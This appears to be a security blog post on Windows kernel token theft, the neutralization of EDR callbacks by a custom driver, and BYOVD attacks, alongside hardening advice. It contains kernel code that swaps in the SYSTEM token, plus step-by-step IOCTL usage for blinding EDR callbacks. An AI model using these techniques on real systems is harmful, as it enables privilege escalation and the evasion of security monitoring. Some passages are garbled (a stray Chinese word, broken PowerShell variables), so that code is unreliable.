Advanced Token Manipulation: Breaking Windows Kernel Security with Custom Drivers + Video

By /

Listen to this Post

Featured Image

Introduction

Windows access tokens are core security objects that define a process’s privileges, group memberships, and integrity level. By manipulating these tokens at the kernel level, attackers can elevate a standard user process to NT AUTHORITY\SYSTEM权限，effectively bypassing all user-mode security controls. In a recent LinkedIn post, cybersecurity researcher MUAAZ TALAAT MUHAMMED demonstrated a Proof-of-Concept (POC) driver that neutralizes EDR callbacks and performs advanced token manipulation, highlighting the persistent risk posed by Bring Your Own Vulnerable Driver (BYOVD) techniques.

Learning Objectives

  • Understand how kernel-mode drivers can abuse IOCTL interfaces to achieve arbitrary read/write primitives and token theft.
  • Learn to enumerate and neutralize EDR/AV callbacks using a custom HVCI-compatible driver.
  • Master detection and mitigation strategies to defend against BYOVD and token manipulation attacks.

You Should Know

1. Understanding the Token Theft Attack Chain

Token theft is a privilege escalation technique that directly modifies the Windows kernel’s `EPROCESS` structure. Each process in Windows has an associated access token stored in its `EPROCESS` structure at a build‑specific offset. An attacker with arbitrary kernel read/write can replace the current process’s token pointer with that of the SYSTEM process (PID 4), instantly granting SYSTEM privileges.

How It Works (Attack Flow)

  1. Load Custom Driver: The attacker loads a malicious kernel driver using BYOVD (Bring Your Own Vulnerable Driver) techniques or through a vulnerable signed driver.
  2. Obtain Kernel Arbitrary Read/Write: Exploit insufficient input validation in an IOCTL handler (e.g., using `METHOD_BUFFERED` where user‑supplied data is trusted).
  3. Locate SYSTEM EPROCESS: Use `PsLookupProcessByProcessId` to get the `EPROCESS` structure for PID 4 (SYSTEM).
  4. Copy Token Pointer: Overwrite the `Token` field in the current process’s `EPROCESS` with the SYSTEM token pointer.
  5. Verify: The current process now runs with SYSTEM privileges.

Sample Kernel Code for Token Stealing (Win10 x64 v1903)

include <ntddk.h>

define SYSTEM_PID 4
define TOKEN_OFFSET 0x4b8 // Example offset, varies by build!

VOID StealSystemToken() {
PEPROCESS systemProc, currentProc;
PsLookupProcessByProcessId((HANDLE)SYSTEM_PID, &systemProc);
currentProc = PsGetCurrentProcess();

// Copy token from SYSTEM to current process
(PACCESS_TOKEN )((PUCHAR)currentProc + TOKEN_OFFSET) = 
(PACCESS_TOKEN )((PUCHAR)systemProc + TOKEN_OFFSET);

DbgPrint("[!] Token stolen, current process is now SYSTEM.\n");
}

Finding the Correct Token Offset with WinDbg

On a test system, attach the kernel debugger and run:

!process 0 0 explorer.exe
dt _EPROCESS <address_of_explorer_eprocess>

Look for the `Token` field and note its byte offset. Update `TOKEN_OFFSET` accordingly in your driver code.

Detection and Mitigation:

  • Enable Virtualization-Based Security (VBS) and Hypervisor-Protected Code Integrity (HVCI) to ensure only signed, verified kernel code can execute.
  • Use Microsoft Defender for Endpoint to monitor for abnormal driver loads and EPROCESS manipulations.
  • Deploy Windows Defender Application Control (WDAC) to block any kernel driver not explicitly allowed.

2. Neutralizing EDR Callbacks: The CallbackRemoval Driver

Many EDR and AV solutions rely on kernel callbacks to monitor system activity. These include:

– `PsSetCreateProcessNotifyRoutine` (process creation)
– `PsSetCreateThreadNotifyRoutine` (thread creation)
– `PsSetLoadImageNotifyRoutine` (image load)

The `CallbackRemoval` driver, released by MUAAZ TALAAT MUHAMMED, demonstrates a sophisticated offensive technique: enumerating these registered callbacks and replacing their function pointers with a harmless “dummy stub,” effectively blinding the security product. Importantly, the driver is HVCI‑compatible because it only modifies read/write kernel data structures, never executable code pages.

How to Use CallbackRemoval (Step‑by‑Step)

Prerequisites:

  • Windows 10/11 x64 VM (for testing only)
  • Test signing mode enabled or a valid EV certificate for driver loading
  • Visual Studio with WDK (Windows Driver Kit)

Step 1: Compile the Driver

  • Open the `CallbackRemoval` project in Visual Studio.
  • Build the solution (Build > Build Solution). This generates a `.sys` driver file.

Step 2: Enable Test Signing (for unsigned driver testing only)

On the target Windows VM (requires administrative privileges):

bcdedit /set testsigning on

Then restart the VM.

Step 3: Load the Driver

A user‑mode client communicates with the driver using DeviceIoControl.

Enumerate all registered callbacks (IOCTL_LIST_CALLBACKS):

// Pseudocode for a user-mode loader
HANDLE hDriver = CreateFile(L"\\.\CallbackDriver", 
GENERIC_READ | GENERIC_WRITE, 0, NULL, 
OPEN_EXISTING, 0, NULL);

CALLBACK_TYPE type = CallbackTypeProcess;
DeviceIoControl(hDriver, IOCTL_LIST_CALLBACKS, 
&type, sizeof(type), buffer, bufferSize, &bytesRet, NULL);

Neutralize a specific callback (IOCTL_ZERO_CALLBACK):

ZERO_CALLBACK_INPUT input;
input.Type = CallbackTypeProcess;
input.Index = 0; // Replace first process callback

DeviceIoControl(hDriver, IOCTL_ZERO_CALLBACK, 
&input, sizeof(input), NULL, 0, &bytesRet, NULL);

Step 4: Restore Callbacks (On Driver Unload)

The driver automatically restores all patched callbacks during unload to prevent system crashes.

Detection of Callback Manipulation:

  • Security products should implement tamper detection that checks the integrity of their own callback entries.
  • Use ETW (Event Tracing for Windows) to log any changes to kernel callback structures.
  • Deploy Microsoft Defender’s tamper protection to prevent modification of security agent components.
  1. BYOVD (Bring Your Own Vulnerable Driver) as an Enabler

Both token theft and callback neutralization depend on the ability to load a kernel driver. Malware authors increasingly use the BYOVD technique: they drop a legitimate but vulnerable driver (signed by a third party) onto a system and then exploit its flawed IOCTL handlers to gain arbitrary kernel read/write. Once they have kernel access, they can load their own malicious driver or directly patch memory.

Identifying BYOVD Attacks (For Blue Teams)

Use the following PowerShell script to audit kernel drivers loaded on your systems:

 Enumerate all kernel drivers with their signers
Get-WmiObject Win32_SystemDriver | 
Where-Object {$_.State -eq "Running"} | 
Select-Object Name, DisplayName, PathName, ServiceType, State

Check for known vulnerable drivers (example: using a hash list)
$vulnHashes = @("SHA256_HASH_OF_VULNERABLE_DRIVER")
Get-ChildItem C:\Windows\System32\drivers.sys | 
Foreach-Object { 
$hash = (Get-FileHash $<em>.FullName -Algorithm SHA256).Hash
if ($vulnHashes -contains $hash) { 
Write-Host "Vulnerable driver detected: $($</em>.Name)" 
}
}

Mitigation:

  • Enable Microsoft Defender Application Control (WDAC) to restrict which kernel drivers can load. Set the policy to Allow only Microsoft-signed and enterprise‑allowed drivers.
  • Use Attack Surface Reduction (ASR) rules in Microsoft Defender to block loading of unsigned or untrusted drivers.
  • Regularly audit third‑party drivers with tools like DriverView from NirSoft or the Autoruns utility.

4. Configuring IOCTL Handlers Securely (For Developers)

Kernel driver developers must take extreme care when implementing `IRP_MJ_DEVICE_CONTROL` handlers. Unsafe patterns are the root cause of most BYOVD vulnerabilities.

Unsafe IOCTL Handler (don’t do this)

In many vulnerable drivers, the IOCTL handler copies user‑supplied data with `ProbeForRead` or similar but fails to validate pointers and sizes before calling `MmMapIoSpace` or performing arbitrary memory moves:

// UNSAFE: user-supplied address and length are used directly
case IOCTL_READ_KERNEL_MEMORY:
PVOID userSpaceAddress = irp->AssociatedIrp.SystemBuffer->Address;
ULONG length = irp->AssociatedIrp.SystemBuffer->Length;
MmCopyMemory(kernelBuffer, userSpaceAddress, length, ...); // <- No validation!
break;

An attacker can craft an IOCTL that provides an arbitrary kernel address (e.g., `PsInitialSystemProcess` + offset) and read any memory.

Secure IOCTL Handler

Enforce strict checks on all inputs and constrain which kernel regions can be accessed:

case IOCTL_SAFE_READ:
PKERNEL_READ_REQUEST request = irp->AssociatedIrp.SystemBuffer;

// Validate that the request comes from a trusted caller (e.g., using SeSinglePrivilegeCheck)
if (!SeSinglePrivilegeCheck(SeDebugPrivilege, UserMode)) {
return STATUS_ACCESS_DENIED;
}

// Ensure the target address is within allowed limits (never allow arbitrary addresses)
if (request->KernelAddress < KERNEL_MIN || request->KernelAddress > KERNEL_MAX) {
return STATUS_INVALID_PARAMETER;
}

// Use RtlCopyMemory with validated length and proper exception handling
__try {
RtlCopyMemory(request->Buffer, request->KernelAddress, request->Length);
} __except(EXCEPTION_EXECUTE_HANDLER) {
return STATUS_ACCESS_VIOLATION;
}
break;

Refer to Microsoft’s driver security best practices for additional guidelines on safely accessing MSRs, mapping memory, and enforcing caller privileges.

5. Hardening Windows Against Token Manipulation and BYOVD

Defending against these advanced tactics requires a defense‑in‑depth approach that combines endpoint protection, system configuration, and active monitoring.

Immediate Hardening Checklist

1. Enable Virtualization-Based Security (VBS) and HVCI:

  • Group Policy: Computer Configuration > Administrative Templates > System > Device Guard > Turn On Virtualization Based Security.
  • Set “Platform Security Level” to Secure Boot and DMA Protection.

2. Deploy WDAC in kernel‑only mode:

  • This blocks all third‑party kernel drivers that are not explicitly allowed, stopping most BYOVD attacks at the loader.

3. Audit for vulnerable drivers:

  • Use the Microsoft Security Compliance Toolkit to validate your driver policies.
  • Regularly run LOLDrivers (Living Off the Land Drivers) scanning tools to detect known vulnerable drivers.

4. Monitor for token manipulations with EDR:

  • Configure Microsoft Defender for Endpoint to alert on direct EPROCESS Token field modifications.
  • Enable kernel‑mode telemetry collection via Sysmon (Event ID 16 – Sysmon Service State Changed) and ETW (Provider: Microsoft-Windows-Kernel-Process).

Practical Monitoring Commands (Windows)

Use PowerShell with administrative privileges to detect anomalous driver loads:

 Get driver load events from Event Log (requires enabled auditing)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | 
Where-Object {$_.Id -eq 6} |  Driver loaded event
Select-Object TimeCreated, Message

Check for unsigned drivers currently loaded
Get-SignedDriver | Where-Object {$_.IsSigned -eq $false}

What Undercode Say

  • Token manipulation remains a universal threat across all Windows versions. While Microsoft has added defenses like HVCI, the fundamental design of access tokens — stored in kernel memory with a writable pointer — is unlikely to change. This means offensive drivers will continue to be a favored technique for privilege escalation.
  • Callback neutralization is an advanced EDR evasion tactic that works even with HVCI enabled. By modifying only read/write data structures and never touching executable code, the `CallbackRemoval` driver sets a new standard for stealthy kernel‑level bypasses. Blue teams must shift from relying solely on kernel callbacks to adopting multiple complementary sensors, including ETW, AMSI, and behavioral analytics in user mode.

Prediction

As more offensive drivers become HVCI‑compatible, Microsoft will likely push kernel security into even more isolated enclaves, possibly moving token handling and callback registration to a hardened “Secure Kernel” outside the normal kernel address space. In the short term, expect an increase in BYOVD‑as‑a‑Service offerings on underground forums, where attackers pay for updated, signed, vulnerable drivers that bypass current defenses. Defenders must adopt a zero‑trust approach to kernel memory, treating any third‑party driver as a potential threat and aggressively applying WDAC and VBS across all enterprise endpoints.

▶️ Related Video (88% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Muaaztalaat %D8%B3%D9%84%D8%A7%D9%85 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: